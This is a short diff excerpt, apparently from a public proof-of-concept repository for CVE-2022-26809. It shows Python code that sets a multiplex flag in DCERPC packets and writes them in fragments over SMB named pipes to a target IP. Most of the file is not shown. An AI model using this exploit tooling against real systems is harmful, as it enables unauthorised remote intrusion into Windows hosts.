STRLCPY/PoC-CVE-2022-26809

Total 1 files

■ ■ ■ ■ ■ ■

PoC_CVE_2022_26809.py

		skipped 132 lines
133	133		break
134	134		i += 1
135	135		else:
136		-	if len(data) > fragment_size:
	136	+	# setting multiplex in the DCERPC
	137	+	d = self.modify_packets(data, int.from_bytes(data[4:5], "big") \| 0x10, None, None, None, None)
	138	+	if len(d) > fragment_size:
137	139		offset = 0
138	140		while 1:
139		-	toSend = data[offset:offset+fragment_size]
	141	+	toSend = d[offset:offset+fragment_size]
140	142		if not toSend:
141	143		break
142	144		super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, toSend)
143	145		offset += len(toSend)
144	146		else:
145		-	super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, data)
	147	+	super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d)
146	148
147	149		protoseq = "ncacn_np"
148	150		ip = sys.argv[1]
		skipped 24 lines